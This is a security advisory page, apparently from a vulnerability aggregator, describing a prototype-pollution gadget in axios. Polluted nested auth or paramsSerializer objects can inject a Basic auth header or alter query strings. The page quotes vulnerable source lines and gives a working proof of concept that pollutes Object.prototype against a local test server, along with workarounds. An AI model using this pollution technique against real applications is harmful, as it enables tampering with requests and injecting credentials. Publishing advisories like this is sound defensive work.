🛡️ CVE-2026-67319 — axios

⚪ Unknown ✅ No Known Exploit CWE-1321 NVD
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Axios: Nested axios option objects can consume polluted prototype values

Summary

Axios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted Object.prototype.

The top-level merged config is protected with a null prototype, but nested plain objects such as auth and paramsSerializer are cloned into ordinary objects. If application code passes placeholders such as auth: {} or paramsSerializer: {}, inherited username, password, encode, or serialize properties can influence outbound requests.

Impact

This is reachable only when another component has already polluted Object.prototype and the application passes an affected nested axios option object.

Confirmed impacts include silent injection of an Authorization: Basic ... header from inherited username and password values, and query-string tampering when inherited paramsSerializer fields are function-valued.

The auth case requires only string-valued pollution. Full query-string replacement through paramsSerializer.serialize requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through encode.

This does not mean every axios request is affected. Requests that do not pass auth, do not pass paramsSerializer, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.

Affected Functionality

Affected runtime functionality:

  • Node HTTP adapter Basic auth handling in lib/adapters/http.js.
  • Browser/fetch/XHR Basic auth handling through lib/helpers/resolveConfig.js.
  • Query serialization through lib/helpers/buildURL.js.
  • axios.getUri() when called with an affected paramsSerializer object.

Affected config shapes:

  • auth: {} or an auth object missing own username and/or password.
  • paramsSerializer: {} or a paramsSerializer object missing own encode and/or serialize.

Unaffected by this specific issue:

  • Requests with no auth property.
  • Requests with no paramsSerializer property.
  • Top-level polluted auth or paramsSerializer values in current hardened versions.

Technical Details

lib/core/mergeConfig.js creates the top-level merged config with Object.create(null), but nested object cloning still uses ordinary {} containers:

```js

} else if (utils.isPlainObject(source)) {

return utils.merge({}, source);

}

```

Downstream code then reads nested fields without own-property checks.

In lib/helpers/resolveConfig.js:

```js

btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))

```

In lib/adapters/http.js:

```js

const username = configAuth.username || '';

const password = configAuth.password || '';

auth = username + ':' + password;

```

In lib/helpers/buildURL.js:

```js

const _encode = (options && options.encode) || encode;

const serializeFn = _options && _options.serialize;

```

Proof of Concept of Attack

```js

import http from 'node:http';

import axios from './index.js';

const user = 'attacker';

const pass = 'exfil';

Object.defineProperty(Object.prototype, 'username', {

value: user,

configurable: true

});

Object.defineProperty(Object.prototype, 'password', {

value: pass,

configurable: true

});

Object.defineProperty(Object.prototype, 'serialize', {

value: () => 'polluted=1',

configurable: true

});

const server = http.createServer((req, res) => {

res.writeHead(200, { 'content-type': 'application/json' });

res.end(JSON.stringify({

authorization: req.headers.authorization || null,

url: req.url

}));

});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));

try {

const port = server.address().port;

const response = await axios.get(http://127.0.0.1:${port}/demo, {

auth: {},

paramsSerializer: {},

params: { unused: 'ignored' }

});

console.log(response.data);

} finally {

await new Promise((resolve) => server.close(resolve));

delete Object.prototype.username;

delete Object.prototype.password;

delete Object.prototype.serialize;

}

```

Observed result:

```json

{

"authorization": "Basic YXR0YWNrZXI6ZXhmaWw=",

"url": "/demo?polluted=1"

}

```

Workarounds

If upgrading is not yet possible, avoid passing placeholder nested option objects.

Remove auth entirely when Basic auth is not intended. For paramsSerializer objects, provide explicit own encode and serialize properties or remove paramsSerializer when custom serialization is not required.

These workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.

<details>

<summary>Original Report</summary>

Summary

axios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer:

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality none, integrity low, availability none.

Weakness class

CVE-2026-67319 is classified as CWE-1321: Prototype Pollution. Attacker input can modify an object prototype, changing behaviour for objects across the application.

Affected software

CVE-2026-67319 is recorded against 2 packages.

  • axios
  • unknown

Timeline and source

Published on 20 July 2026 and last revised on 2 August 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
github.com (Web)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
CWE CWE-1321
Public Exploit ✅ No
Source NVD
Published 2026-07-20
Updated 2026-08-12
Modified 2026-08-02
Fix URL N/A

Affected Packages

Software From version Fixed in
axios
unknown

Free Vulnerability Check

Is your site affected by CVE-2026-67319?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-67319 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.